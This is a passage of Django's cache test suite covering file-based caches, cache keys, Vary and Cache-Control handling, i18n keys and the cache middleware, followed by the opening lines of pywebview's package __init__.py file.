class FileBasedCacheTests(BaseCacheTests, TestCase):
"""
Specific test cases for the file-based cache.
"""
def setUp(self):
super().setUp()
self.dirname = self.mkdtemp()
# Caches location cannot be modified through override_settings / modify_settings,
# hence settings are manipulated directly here and the setting_changed signal
# is triggered manually.
for cache_params in settings.CACHES.values():
cache_params['LOCATION'] = self.dirname
setting_changed.send(self.__class__, setting='CACHES', enter=False)
def tearDown(self):
super().tearDown()
# Call parent first, as cache.clear() may recreate cache base directory
shutil.rmtree(self.dirname)
def mkdtemp(self):
return tempfile.mkdtemp()
def test_ignores_non_cache_files(self):
fname = os.path.join(self.dirname, 'not-a-cache-file')
with open(fname, 'w'):
os.utime(fname, None)
cache.clear()
self.assertTrue(os.path.exists(fname),
'Expected cache.clear to ignore non cache files')
os.remove(fname)
def test_clear_does_not_remove_cache_dir(self):
cache.clear()
self.assertTrue(os.path.exists(self.dirname),
'Expected cache.clear to keep the cache dir')
def test_creates_cache_dir_if_nonexistent(self):
os.rmdir(self.dirname)
cache.set('foo', 'bar')
self.assertTrue(os.path.exists(self.dirname))
def test_get_ignores_enoent(self):
cache.set('foo', 'bar')
os.unlink(cache._key_to_file('foo'))
# Returns the default instead of erroring.
self.assertEqual(cache.get('foo', 'baz'), 'baz')
@skipIf(
sys.platform == 'win32',
'Windows only partially supports umasks and chmod.',
)
def test_cache_dir_permissions(self):
os.rmdir(self.dirname)
dir_path = Path(self.dirname) / 'nested' / 'filebasedcache'
for cache_params in settings.CACHES.values():
cache_params['LOCATION'] = dir_path
setting_changed.send(self.__class__, setting='CACHES', enter=False)
cache.set('foo', 'bar')
self.assertIs(dir_path.exists(), True)
tests = [
dir_path,
dir_path.parent,
dir_path.parent.parent,
]
for directory in tests:
with self.subTest(directory=directory):
dir_mode = directory.stat().st_mode & 0o777
self.assertEqual(dir_mode, 0o700)
def test_get_does_not_ignore_non_filenotfound_exceptions(self):
with mock.patch('builtins.open', side_effect=OSError):
with self.assertRaises(OSError):
cache.get('foo')
def test_empty_cache_file_considered_expired(self):
cache_file = cache._key_to_file('foo')
with open(cache_file, 'wb') as fh:
fh.write(b'')
with open(cache_file, 'rb') as fh:
self.assertIs(cache._is_expired(fh), True)
class FileBasedCachePathLibTests(FileBasedCacheTests):
def mkdtemp(self):
tmp_dir = super().mkdtemp()
return Path(tmp_dir)
@override_settings(CACHES={
'default': {
'BACKEND': 'cache.liberal_backend.CacheClass',
},
})
class CustomCacheKeyValidationTests(SimpleTestCase):
"""
Tests for the ability to mixin a custom ``validate_key`` method to
a custom cache backend that otherwise inherits from a builtin
backend, and override the default key validation. Refs #6447.
"""
def test_custom_key_validation(self):
# this key is both longer than 250 characters, and has spaces
key = 'some key with spaces' * 15
val = 'a value'
cache.set(key, val)
self.assertEqual(cache.get(key), val)
@override_settings(
CACHES={
'default': {
'BACKEND': 'cache.closeable_cache.CacheClass',
}
}
)
class CacheClosingTests(SimpleTestCase):
def test_close(self):
self.assertFalse(cache.closed)
signals.request_finished.send(self.__class__)
self.assertTrue(cache.closed)
DEFAULT_MEMORY_CACHES_SETTINGS = {
'default': {
'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
'LOCATION': 'unique-snowflake',
}
}
NEVER_EXPIRING_CACHES_SETTINGS = copy.deepcopy(DEFAULT_MEMORY_CACHES_SETTINGS)
NEVER_EXPIRING_CACHES_SETTINGS['default']['TIMEOUT'] = None
class DefaultNonExpiringCacheKeyTests(SimpleTestCase):
"""
Settings having Cache arguments with a TIMEOUT=None create Caches that will
set non-expiring keys.
"""
def setUp(self):
# The 5 minute (300 seconds) default expiration time for keys is
# defined in the implementation of the initializer method of the
# BaseCache type.
self.DEFAULT_TIMEOUT = caches[DEFAULT_CACHE_ALIAS].default_timeout
def tearDown(self):
del(self.DEFAULT_TIMEOUT)
def test_default_expiration_time_for_keys_is_5_minutes(self):
"""The default expiration time of a cache key is 5 minutes.
This value is defined in
django.core.cache.backends.base.BaseCache.__init__().
"""
self.assertEqual(300, self.DEFAULT_TIMEOUT)
def test_caches_with_unset_timeout_has_correct_default_timeout(self):
"""Caches that have the TIMEOUT parameter undefined in the default
settings will use the default 5 minute timeout.
"""
cache = caches[DEFAULT_CACHE_ALIAS]
self.assertEqual(self.DEFAULT_TIMEOUT, cache.default_timeout)
@override_settings(CACHES=NEVER_EXPIRING_CACHES_SETTINGS)
def test_caches_set_with_timeout_as_none_has_correct_default_timeout(self):
"""Memory caches that have the TIMEOUT parameter set to `None` in the
default settings with have `None` as the default timeout.
This means "no timeout".
"""
cache = caches[DEFAULT_CACHE_ALIAS]
self.assertIsNone(cache.default_timeout)
self.assertIsNone(cache.get_backend_timeout())
@override_settings(CACHES=DEFAULT_MEMORY_CACHES_SETTINGS)
def test_caches_with_unset_timeout_set_expiring_key(self):
"""Memory caches that have the TIMEOUT parameter unset will set cache
keys having the default 5 minute timeout.
"""
key = "my-key"
value = "my-value"
cache = caches[DEFAULT_CACHE_ALIAS]
cache.set(key, value)
cache_key = cache.make_key(key)
self.assertIsNotNone(cache._expire_info[cache_key])
@override_settings(CACHES=NEVER_EXPIRING_CACHES_SETTINGS)
def test_caches_set_with_timeout_as_none_set_non_expiring_key(self):
"""Memory caches that have the TIMEOUT parameter set to `None` will set
a non expiring key by default.
"""
key = "another-key"
value = "another-value"
cache = caches[DEFAULT_CACHE_ALIAS]
cache.set(key, value)
cache_key = cache.make_key(key)
self.assertIsNone(cache._expire_info[cache_key])
@override_settings(
CACHE_MIDDLEWARE_KEY_PREFIX='settingsprefix',
CACHE_MIDDLEWARE_SECONDS=1,
CACHES={
'default': {
'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
},
},
USE_I18N=False,
ALLOWED_HOSTS=['.example.com'],
)
class CacheUtils(SimpleTestCase):
"""TestCase for django.utils.cache functions."""
host = 'www.example.com'
path = '/cache/test/'
factory = RequestFactory(HTTP_HOST=host)
def tearDown(self):
cache.clear()
def _get_request_cache(self, method='GET', query_string=None, update_cache=None):
request = self._get_request(self.host, self.path,
method, query_string=query_string)
request._cache_update_cache = True if not update_cache else update_cache
return request
def test_patch_vary_headers(self):
headers = (
# Initial vary, new headers, resulting vary.
(None, ('Accept-Encoding',), 'Accept-Encoding'),
('Accept-Encoding', ('accept-encoding',), 'Accept-Encoding'),
('Accept-Encoding', ('ACCEPT-ENCODING',), 'Accept-Encoding'),
('Cookie', ('Accept-Encoding',), 'Cookie, Accept-Encoding'),
('Cookie, Accept-Encoding', ('Accept-Encoding',), 'Cookie, Accept-Encoding'),
('Cookie, Accept-Encoding', ('Accept-Encoding', 'cookie'), 'Cookie, Accept-Encoding'),
(None, ('Accept-Encoding', 'COOKIE'), 'Accept-Encoding, COOKIE'),
('Cookie, Accept-Encoding', ('Accept-Encoding', 'cookie'), 'Cookie, Accept-Encoding'),
('Cookie , Accept-Encoding', ('Accept-Encoding', 'cookie'), 'Cookie, Accept-Encoding'),
('*', ('Accept-Language', 'Cookie'), '*'),
('Accept-Language, Cookie', ('*',), '*'),
)
for initial_vary, newheaders, resulting_vary in headers:
with self.subTest(initial_vary=initial_vary, newheaders=newheaders):
response = HttpResponse()
if initial_vary is not None:
response['Vary'] = initial_vary
patch_vary_headers(response, newheaders)
self.assertEqual(response['Vary'], resulting_vary)
def test_get_cache_key(self):
request = self.factory.get(self.path)
response = HttpResponse()
# Expect None if no headers have been set yet.
self.assertIsNone(get_cache_key(request))
# Set headers to an empty list.
learn_cache_key(request, response)
self.assertEqual(
get_cache_key(request),
'views.decorators.cache.cache_page.settingsprefix.GET.'
'18a03f9c9649f7d684af5db3524f5c99.d41d8cd98f00b204e9800998ecf8427e'
)
# A specified key_prefix is taken into account.
key_prefix = 'localprefix'
learn_cache_key(request, response, key_prefix=key_prefix)
self.assertEqual(
get_cache_key(request, key_prefix=key_prefix),
'views.decorators.cache.cache_page.localprefix.GET.'
'18a03f9c9649f7d684af5db3524f5c99.d41d8cd98f00b204e9800998ecf8427e'
)
def test_get_cache_key_with_query(self):
request = self.factory.get(self.path, {'test': 1})
response = HttpResponse()
# Expect None if no headers have been set yet.
self.assertIsNone(get_cache_key(request))
# Set headers to an empty list.
learn_cache_key(request, response)
# The querystring is taken into account.
self.assertEqual(
get_cache_key(request),
'views.decorators.cache.cache_page.settingsprefix.GET.'
'beaf87a9a99ee81c673ea2d67ccbec2a.d41d8cd98f00b204e9800998ecf8427e'
)
def test_cache_key_varies_by_url(self):
"""
get_cache_key keys differ by fully-qualified URL instead of path
"""
request1 = self.factory.get(self.path, HTTP_HOST='sub-1.example.com')
learn_cache_key(request1, HttpResponse())
request2 = self.factory.get(self.path, HTTP_HOST='sub-2.example.com')
learn_cache_key(request2, HttpResponse())
self.assertNotEqual(get_cache_key(request1), get_cache_key(request2))
def test_learn_cache_key(self):
request = self.factory.head(self.path)
response = HttpResponse()
response['Vary'] = 'Pony'
# Make sure that the Vary header is added to the key hash
learn_cache_key(request, response)
self.assertEqual(
get_cache_key(request),
'views.decorators.cache.cache_page.settingsprefix.GET.'
'18a03f9c9649f7d684af5db3524f5c99.d41d8cd98f00b204e9800998ecf8427e'
)
def test_patch_cache_control(self):
tests = (
# Initial Cache-Control, kwargs to patch_cache_control, expected Cache-Control parts
(None, {'private': True}, {'private'}),
('', {'private': True}, {'private'}),
# no-cache.
('', {'no_cache': 'Set-Cookie'}, {'no-cache=Set-Cookie'}),
('', {'no-cache': 'Set-Cookie'}, {'no-cache=Set-Cookie'}),
('no-cache=Set-Cookie', {'no_cache': True}, {'no-cache'}),
('no-cache=Set-Cookie,no-cache=Link', {'no_cache': True}, {'no-cache'}),
('no-cache=Set-Cookie', {'no_cache': 'Link'}, {'no-cache=Set-Cookie', 'no-cache=Link'}),
(
'no-cache=Set-Cookie,no-cache=Link',
{'no_cache': 'Custom'},
{'no-cache=Set-Cookie', 'no-cache=Link', 'no-cache=Custom'},
),
# Test whether private/public attributes are mutually exclusive
('private', {'private': True}, {'private'}),
('private', {'public': True}, {'public'}),
('public', {'public': True}, {'public'}),
('public', {'private': True}, {'private'}),
('must-revalidate,max-age=60,private', {'public': True}, {'must-revalidate', 'max-age=60', 'public'}),
('must-revalidate,max-age=60,public', {'private': True}, {'must-revalidate', 'max-age=60', 'private'}),
('must-revalidate,max-age=60', {'public': True}, {'must-revalidate', 'max-age=60', 'public'}),
)
cc_delim_re = re.compile(r'\s*,\s*')
for initial_cc, newheaders, expected_cc in tests:
with self.subTest(initial_cc=initial_cc, newheaders=newheaders):
response = HttpResponse()
if initial_cc is not None:
response['Cache-Control'] = initial_cc
patch_cache_control(response, **newheaders)
parts = set(cc_delim_re.split(response['Cache-Control']))
self.assertEqual(parts, expected_cc)
@override_settings(
CACHES={
'default': {
'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
'KEY_PREFIX': 'cacheprefix',
},
},
)
class PrefixedCacheUtils(CacheUtils):
pass
@override_settings(
CACHE_MIDDLEWARE_SECONDS=60,
CACHE_MIDDLEWARE_KEY_PREFIX='test',
CACHES={
'default': {
'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
},
},
)
class CacheHEADTest(SimpleTestCase):
path = '/cache/test/'
factory = RequestFactory()
def tearDown(self):
cache.clear()
def _set_cache(self, request, msg):
return UpdateCacheMiddleware(lambda req: HttpResponse(msg))(request)
def test_head_caches_correctly(self):
test_content = 'test content'
request = self.factory.head(self.path)
request._cache_update_cache = True
self._set_cache(request, test_content)
request = self.factory.head(self.path)
request._cache_update_cache = True
get_cache_data = FetchFromCacheMiddleware(empty_response).process_request(request)
self.assertIsNotNone(get_cache_data)
self.assertEqual(test_content.encode(), get_cache_data.content)
def test_head_with_cached_get(self):
test_content = 'test content'
request = self.factory.get(self.path)
request._cache_update_cache = True
self._set_cache(request, test_content)
request = self.factory.head(self.path)
get_cache_data = FetchFromCacheMiddleware(empty_response).process_request(request)
self.assertIsNotNone(get_cache_data)
self.assertEqual(test_content.encode(), get_cache_data.content)
@override_settings(
CACHE_MIDDLEWARE_KEY_PREFIX='settingsprefix',
CACHES={
'default': {
'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
},
},
LANGUAGES=[
('en', 'English'),
('es', 'Spanish'),
],
)
class CacheI18nTest(SimpleTestCase):
path = '/cache/test/'
factory = RequestFactory()
def tearDown(self):
cache.clear()
@override_settings(USE_I18N=True, USE_TZ=False)
def test_cache_key_i18n_translation(self):
request = self.factory.get(self.path)
lang = translation.get_language()
response = HttpResponse()
key = learn_cache_key(request, response)
self.assertIn(lang, key, "Cache keys should include the language name when translation is active")
key2 = get_cache_key(request)
self.assertEqual(key, key2)
def check_accept_language_vary(self, accept_language, vary, reference_key):
request = self.factory.get(self.path)
request.META['HTTP_ACCEPT_LANGUAGE'] = accept_language
request.META['HTTP_ACCEPT_ENCODING'] = 'gzip;q=1.0, identity; q=0.5, *;q=0'
response = HttpResponse()
response['Vary'] = vary
key = learn_cache_key(request, response)
key2 = get_cache_key(request)
self.assertEqual(key, reference_key)
self.assertEqual(key2, reference_key)
@override_settings(USE_I18N=True, USE_TZ=False)
def test_cache_key_i18n_translation_accept_language(self):
lang = translation.get_language()
self.assertEqual(lang, 'en')
request = self.factory.get(self.path)
request.META['HTTP_ACCEPT_ENCODING'] = 'gzip;q=1.0, identity; q=0.5, *;q=0'
response = HttpResponse()
response['Vary'] = 'accept-encoding'
key = learn_cache_key(request, response)
self.assertIn(lang, key, "Cache keys should include the language name when translation is active")
self.check_accept_language_vary(
'en-us',
'cookie, accept-language, accept-encoding',
key
)
self.check_accept_language_vary(
'en-US',
'cookie, accept-encoding, accept-language',
key
)
self.check_accept_language_vary(
'en-US,en;q=0.8',
'accept-encoding, accept-language, cookie',
key
)
self.check_accept_language_vary(
'en-US,en;q=0.8,ko;q=0.6',
'accept-language, cookie, accept-encoding',
key
)
self.check_accept_language_vary(
'ko-kr,ko;q=0.8,en-us;q=0.5,en;q=0.3 ',
'accept-encoding, cookie, accept-language',
key
)
self.check_accept_language_vary(
'ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4',
'accept-language, accept-encoding, cookie',
key
)
self.check_accept_language_vary(
'ko;q=1.0,en;q=0.5',
'cookie, accept-language, accept-encoding',
key
)
self.check_accept_language_vary(
'ko, en',
'cookie, accept-encoding, accept-language',
key
)
self.check_accept_language_vary(
'ko-KR, en-US',
'accept-encoding, accept-language, cookie',
key
)
@override_settings(USE_I18N=False, USE_TZ=True)
def test_cache_key_i18n_timezone(self):
request = self.factory.get(self.path)
tz = timezone.get_current_timezone_name()
response = HttpResponse()
key = learn_cache_key(request, response)
self.assertIn(tz, key, "Cache keys should include the time zone name when time zones are active")
key2 = get_cache_key(request)
self.assertEqual(key, key2)
@override_settings(USE_I18N=False)
def test_cache_key_no_i18n(self):
request = self.factory.get(self.path)
lang = translation.get_language()
tz = timezone.get_current_timezone_name()
response = HttpResponse()
key = learn_cache_key(request, response)
self.assertNotIn(lang, key, "Cache keys shouldn't include the language name when i18n isn't active")
self.assertNotIn(tz, key, "Cache keys shouldn't include the time zone name when i18n isn't active")
@override_settings(
CACHE_MIDDLEWARE_KEY_PREFIX="test",
CACHE_MIDDLEWARE_SECONDS=60,
USE_I18N=True,
)
def test_middleware(self):
def set_cache(request, lang, msg):
def get_response(req):
return HttpResponse(msg)
translation.activate(lang)
return UpdateCacheMiddleware(get_response)(request)
# cache with non empty request.GET
request = self.factory.get(self.path, {'foo': 'bar', 'other': 'true'})
request._cache_update_cache = True
get_cache_data = FetchFromCacheMiddleware(empty_response).process_request(request)
# first access, cache must return None
self.assertIsNone(get_cache_data)
content = 'Check for cache with QUERY_STRING'
def get_response(req):
return HttpResponse(content)
UpdateCacheMiddleware(get_response)(request)
get_cache_data = FetchFromCacheMiddleware(empty_response).process_request(request)
# cache must return content
self.assertIsNotNone(get_cache_data)
self.assertEqual(get_cache_data.content, content.encode())
# different QUERY_STRING, cache must be empty
request = self.factory.get(self.path, {'foo': 'bar', 'somethingelse': 'true'})
request._cache_update_cache = True
get_cache_data = FetchFromCacheMiddleware(empty_response).process_request(request)
self.assertIsNone(get_cache_data)
# i18n tests
en_message = "Hello world!"
es_message = "Hola mundo!"
request = self.factory.get(self.path)
request._cache_update_cache = True
set_cache(request, 'en', en_message)
get_cache_data = FetchFromCacheMiddleware(empty_response).process_request(request)
# The cache can be recovered
self.assertIsNotNone(get_cache_data)
self.assertEqual(get_cache_data.content, en_message.encode())
# change the session language and set content
request = self.factory.get(self.path)
request._cache_update_cache = True
set_cache(request, 'es', es_message)
# change again the language
translation.activate('en')
# retrieve the content from cache
get_cache_data = FetchFromCacheMiddleware(empty_response).process_request(request)
self.assertEqual(get_cache_data.content, en_message.encode())
# change again the language
translation.activate('es')
get_cache_data = FetchFromCacheMiddleware(empty_response).process_request(request)
self.assertEqual(get_cache_data.content, es_message.encode())
# reset the language
translation.deactivate()
@override_settings(
CACHE_MIDDLEWARE_KEY_PREFIX="test",
CACHE_MIDDLEWARE_SECONDS=60,
)
def test_middleware_doesnt_cache_streaming_response(self):
request = self.factory.get(self.path)
get_cache_data = FetchFromCacheMiddleware(empty_response).process_request(request)
self.assertIsNone(get_cache_data)
def get_stream_response(req):
return StreamingHttpResponse(['Check for cache with streaming content.'])
UpdateCacheMiddleware(get_stream_response)(request)
get_cache_data = FetchFromCacheMiddleware(empty_response).process_request(request)
self.assertIsNone(get_cache_data)
@override_settings(
CACHES={
'default': {
'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
'KEY_PREFIX': 'cacheprefix'
},
},
)
class PrefixedCacheI18nTest(CacheI18nTest):
pass
def hello_world_view(request, value):
return HttpResponse('Hello World %s' % value)
def csrf_view(request):
return HttpResponse(csrf(request)['csrf_token'])
@override_settings(
CACHE_MIDDLEWARE_ALIAS='other',
CACHE_MIDDLEWARE_KEY_PREFIX='middlewareprefix',
CACHE_MIDDLEWARE_SECONDS=30,
CACHES={
'default': {
'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
},
'other': {
'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
'LOCATION': 'other',
'TIMEOUT': '1',
},
},
)
class CacheMiddlewareTest(SimpleTestCase):
factory = RequestFactory()
def setUp(self):
self.default_cache = caches['default']
self.other_cache = caches['other']
def tearDown(self):
self.default_cache.clear()
self.other_cache.clear()
super().tearDown()
def test_constructor(self):
"""
Ensure the constructor is correctly distinguishing between usage of CacheMiddleware as
Middleware vs. usage of CacheMiddleware as view decorator and setting attributes
appropriately.
"""
# If only one argument is passed in construction, it's being used as
# middleware.
middleware = CacheMiddleware(empty_response)
# Now test object attributes against values defined in setUp above
self.assertEqual(middleware.cache_timeout, 30)
self.assertEqual(middleware.key_prefix, 'middlewareprefix')
self.assertEqual(middleware.cache_alias, 'other')
self.assertEqual(middleware.cache, self.other_cache)
# If more arguments are being passed in construction, it's being used
# as a decorator. First, test with "defaults":
as_view_decorator = CacheMiddleware(empty_response, cache_alias=None, key_prefix=None)
self.assertEqual(as_view_decorator.cache_timeout, 30) # Timeout value for 'default' cache, i.e. 30
self.assertEqual(as_view_decorator.key_prefix, '')
# Value of DEFAULT_CACHE_ALIAS from django.core.cache
self.assertEqual(as_view_decorator.cache_alias, 'default')
self.assertEqual(as_view_decorator.cache, self.default_cache)
# Next, test with custom values:
as_view_decorator_with_custom = CacheMiddleware(
hello_world_view, cache_timeout=60, cache_alias='other', key_prefix='foo'
)
self.assertEqual(as_view_decorator_with_custom.cache_timeout, 60)
self.assertEqual(as_view_decorator_with_custom.key_prefix, 'foo')
self.assertEqual(as_view_decorator_with_custom.cache_alias, 'other')
self.assertEqual(as_view_decorator_with_custom.cache, self.other_cache)
def test_update_cache_middleware_constructor(self):
middleware = UpdateCacheMiddleware(empty_response)
self.assertEqual(middleware.cache_timeout, 30)
self.assertIsNone(middleware.page_timeout)
self.assertEqual(middleware.key_prefix, 'middlewareprefix')
self.assertEqual(middleware.cache_alias, 'other')
self.assertEqual(middleware.cache, self.other_cache)
def test_fetch_cache_middleware_constructor(self):
middleware = FetchFromCacheMiddleware(empty_response)
self.assertEqual(middleware.key_prefix, 'middlewareprefix')
self.assertEqual(middleware.cache_alias, 'other')
self.assertEqual(middleware.cache, self.other_cache)
def test_middleware(self):
middleware = CacheMiddleware(hello_world_view)
prefix_middleware = CacheMiddleware(hello_world_view, key_prefix='prefix1')
timeout_middleware = CacheMiddleware(hello_world_view, cache_timeout=1)
request = self.factory.get('/view/')
# Put the request through the request middleware
result = middleware.process_request(request)
self.assertIsNone(result)
response = hello_world_view(request, '1')
# Now put the response through the response middleware
response = middleware.process_response(request, response)
# Repeating the request should result in a cache hit
result = middleware.process_request(request)
self.assertIsNotNone(result)
self.assertEqual(result.content, b'Hello World 1')
# The same request through a different middleware won't hit
result = prefix_middleware.process_request(request)
self.assertIsNone(result)
# The same request with a timeout _will_ hit
result = timeout_middleware.process_request(request)
self.assertIsNotNone(result)
self.assertEqual(result.content, b'Hello World 1')
def test_view_decorator(self):
# decorate the same view with different cache decorators
default_view = cache_page(3)(hello_world_view)
default_with_prefix_view = cache_page(3, key_prefix='prefix1')(hello_world_view)
explicit_default_view = cache_page(3, cache='default')(hello_world_view)
explicit_default_with_prefix_view = cache_page(3, cache='default', key_prefix='prefix1')(hello_world_view)
other_view = cache_page(1, cache='other')(hello_world_view)
other_with_prefix_view = cache_page(1, cache='other', key_prefix='prefix2')(hello_world_view)
request = self.factory.get('/view/')
# Request the view once
response = default_view(request, '1')
self.assertEqual(response.content, b'Hello World 1')
# Request again -- hit the cache
response = default_view(request, '2')
self.assertEqual(response.content, b'Hello World 1')
# Requesting the same view with the explicit cache should yield the same result
response = explicit_default_view(request, '3')
self.assertEqual(response.content, b'Hello World 1')
# Requesting with a prefix will hit a different cache key
response = explicit_default_with_prefix_view(request, '4')
self.assertEqual(response.content, b'Hello World 4')
# Hitting the same view again gives a cache hit
response = explicit_default_with_prefix_view(request, '5')
self.assertEqual(response.content, b'Hello World 4')
# And going back to the implicit cache will hit the same cache
response = default_with_prefix_view(request, '6')
self.assertEqual(response.content, b'Hello World 4')
# Requesting from an alternate cache won't hit cache
response = other_view(request, '7')
self.assertEqual(response.content, b'Hello World 7')
# But a repeated hit will hit cache
response = other_view(request, '8')
self.assertEqual(response.content, b'Hello World 7')
# And prefixing the alternate cache yields yet another cache entry
response = other_with_prefix_view(request, '9')
self.assertEqual(response.content, b'Hello World 9')
# But if we wait a couple of seconds...
time.sleep(2)
# ... the default cache will still hit
caches['default']
response = default_view(request, '11')
self.assertEqual(response.content, b'Hello World 1')
# ... the default cache with a prefix will still hit
response = default_with_prefix_view(request, '12')
self.assertEqual(response.content, b'Hello World 4')
# ... the explicit default cache will still hit
response = explicit_default_view(request, '13')
self.assertEqual(response.content, b'Hello World 1')
# ... the explicit default cache with a prefix will still hit
response = explicit_default_with_prefix_view(request, '14')
self.assertEqual(response.content, b'Hello World 4')
# .. but a rapidly expiring cache won't hit
response = other_view(request, '15')
self.assertEqual(response.content, b'Hello World 15')
# .. even if it has a prefix
response = other_with_prefix_view(request, '16')
self.assertEqual(response.content, b'Hello World 16')
def test_cache_page_timeout(self):
# Page timeout takes precedence over the "max-age" section of the
# "Cache-Control".
tests = [
(1, 3), # max_age < page_timeout.
(3, 1), # max_age > page_timeout.
]
for max_age, page_timeout in tests:
with self.subTest(max_age=max_age, page_timeout=page_timeout):
view = cache_page(timeout=page_timeout)(
cache_control(max_age=max_age)(hello_world_view)
)
request = self.factory.get('/view/')
response = view(request, '1')
self.assertEqual(response.content, b'Hello World 1')
time.sleep(1)
response = view(request, '2')
self.assertEqual(
response.content,
b'Hello World 1' if page_timeout > max_age else b'Hello World 2',
)
cache.clear()
def test_cached_control_private_not_cached(self):
"""Responses with 'Cache-Control: private' are not cached."""
view_with_private_cache = cache_page(3)(cache_control(private=True)(hello_world_view))
request = self.factory.get('/view/')
response = view_with_private_cache(request, '1')
self.assertEqual(response.content, b'Hello World 1')
response = view_with_private_cache(request, '2')
self.assertEqual(response.content, b'Hello World 2')
def test_sensitive_cookie_not_cached(self):
"""
Django must prevent caching of responses that set a user-specific (and
maybe security sensitive) cookie in response to a cookie-less request.
"""
request = self.factory.get('/view/')
csrf_middleware = CsrfViewMiddleware(csrf_view)
csrf_middleware.process_view(request, csrf_view, (), {})
cache_middleware = CacheMiddleware(csrf_middleware)
self.assertIsNone(cache_middleware.process_request(request))
cache_middleware(request)
# Inserting a CSRF cookie in a cookie-less request prevented caching.
self.assertIsNone(cache_middleware.process_request(request))
def test_304_response_has_http_caching_headers_but_not_cached(self):
original_view = mock.Mock(return_value=HttpResponseNotModified())
view = cache_page(2)(original_view)
request = self.factory.get('/view/')
# The view shouldn't be cached on the second call.
view(request).close()
response = view(request)
response.close()
self.assertEqual(original_view.call_count, 2)
self.assertIsInstance(response, HttpResponseNotModified)
self.assertIn('Cache-Control', response)
self.assertIn('Expires', response)
@override_settings(
CACHE_MIDDLEWARE_KEY_PREFIX='settingsprefix',
CACHE_MIDDLEWARE_SECONDS=1,
CACHES={
'default': {
'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
},
},
USE_I18N=False,
)
class TestWithTemplateResponse(SimpleTestCase):
"""
Tests various headers w/ TemplateResponse.
Most are probably redundant since they manipulate the same object
anyway but the ETag header is 'special' because it relies on the
content being complete (which is not necessarily always the case
with a TemplateResponse)
"""
path = '/cache/test/'
factory = RequestFactory()
def tearDown(self):
cache.clear()
def test_patch_vary_headers(self):
headers = (
# Initial vary, new headers, resulting vary.
(None, ('Accept-Encoding',), 'Accept-Encoding'),
('Accept-Encoding', ('accept-encoding',), 'Accept-Encoding'),
('Accept-Encoding', ('ACCEPT-ENCODING',), 'Accept-Encoding'),
('Cookie', ('Accept-Encoding',), 'Cookie, Accept-Encoding'),
('Cookie, Accept-Encoding', ('Accept-Encoding',), 'Cookie, Accept-Encoding'),
('Cookie, Accept-Encoding', ('Accept-Encoding', 'cookie'), 'Cookie, Accept-Encoding'),
(None, ('Accept-Encoding', 'COOKIE'), 'Accept-Encoding, COOKIE'),
('Cookie, Accept-Encoding', ('Accept-Encoding', 'cookie'), 'Cookie, Accept-Encoding'),
('Cookie , Accept-Encoding', ('Accept-Encoding', 'cookie'), 'Cookie, Accept-Encoding'),
)
for initial_vary, newheaders, resulting_vary in headers:
with self.subTest(initial_vary=initial_vary, newheaders=newheaders):
template = engines['django'].from_string("This is a test")
response = TemplateResponse(HttpRequest(), template)
if initial_vary is not None:
response['Vary'] = initial_vary
patch_vary_headers(response, newheaders)
self.assertEqual(response['Vary'], resulting_vary)
def test_get_cache_key(self):
request = self.factory.get(self.path)
template = engines['django'].from_string("This is a test")
response = TemplateResponse(HttpRequest(), template)
key_prefix = 'localprefix'
# Expect None if no headers have been set yet.
self.assertIsNone(get_cache_key(request))
# Set headers to an empty list.
learn_cache_key(request, response)
self.assertEqual(
get_cache_key(request),
'views.decorators.cache.cache_page.settingsprefix.GET.'
'58a0a05c8a5620f813686ff969c26853.d41d8cd98f00b204e9800998ecf8427e'
)
# A specified key_prefix is taken into account.
learn_cache_key(request, response, key_prefix=key_prefix)
self.assertEqual(
get_cache_key(request, key_prefix=key_prefix),
'views.decorators.cache.cache_page.localprefix.GET.'
'58a0a05c8a5620f813686ff969c26853.d41d8cd98f00b204e9800998ecf8427e'
)
def test_get_cache_key_with_query(self):
request = self.factory.get(self.path, {'test': 1})
template = engines['django'].from_string("This is a test")
response = TemplateResponse(HttpRequest(), template)
# Expect None if no headers have been set yet.
self.assertIsNone(get_cache_key(request))
# Set headers to an empty list.
learn_cache_key(request, response)
# The querystring is taken into account.
self.assertEqual(
get_cache_key(request),
'views.decorators.cache.cache_page.settingsprefix.GET.'
'0f1c2d56633c943073c4569d9a9502fe.d41d8cd98f00b204e9800998ecf8427e'
)
class TestMakeTemplateFragmentKey(SimpleTestCase):
def test_without_vary_on(self):
key = make_template_fragment_key('a.fragment')
self.assertEqual(key, 'template.cache.a.fragment.d41d8cd98f00b204e9800998ecf8427e')
def test_with_one_vary_on(self):
key = make_template_fragment_key('foo', ['abc'])
self.assertEqual(key, 'template.cache.foo.493e283d571a73056196f1a68efd0f66')
def test_with_many_vary_on(self):
key = make_template_fragment_key('bar', ['abc', 'def'])
self.assertEqual(key, 'template.cache.bar.17c1a507a0cb58384f4c639067a93520')
def test_proper_escaping(self):
key = make_template_fragment_key('spam', ['abc:def%'])
self.assertEqual(key, 'template.cache.spam.06c8ae8e8c430b69fb0a6443504153dc')
def test_with_ints_vary_on(self):
key = make_template_fragment_key('foo', [1, 2, 3, 4, 5])
self.assertEqual(key, 'template.cache.foo.7ae8fd2e0d25d651c683bdeebdb29461')
def test_with_unicode_vary_on(self):
key = make_template_fragment_key('foo', ['42º', '😀'])
self.assertEqual(key, 'template.cache.foo.7ced1c94e543668590ba39b3c08b0237')
def test_long_vary_on(self):
key = make_template_fragment_key('foo', ['x' * 10000])
self.assertEqual(key, 'template.cache.foo.3670b349b5124aa56bdb50678b02b23a')
class CacheHandlerTest(SimpleTestCase):
def test_same_instance(self):
"""
Attempting to retrieve the same alias should yield the same instance.
"""
cache1 = caches['default']
cache2 = caches['default']
self.assertIs(cache1, cache2)
def test_per_thread(self):
"""
Requesting the same alias from separate threads should yield separate
instances.
"""
c = []
def runner():
c.append(caches['default'])
for x in range(2):
t = threading.Thread(target=runner)
t.start()
t.join()
self.assertIsNot(c[0], c[1])
|
__init__.py
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
pywebview is a lightweight cross-platform wrapper around a webview component that allows to display HTML content in its
own dedicated window. Works on Windows, OS X and Linux and compatible with Python 2 and 3.
(C) 2014-2019 Roman Sirokov and contributors
Licensed under BSD license
http://github.com/r0x0r/pywebview/
"""
import json
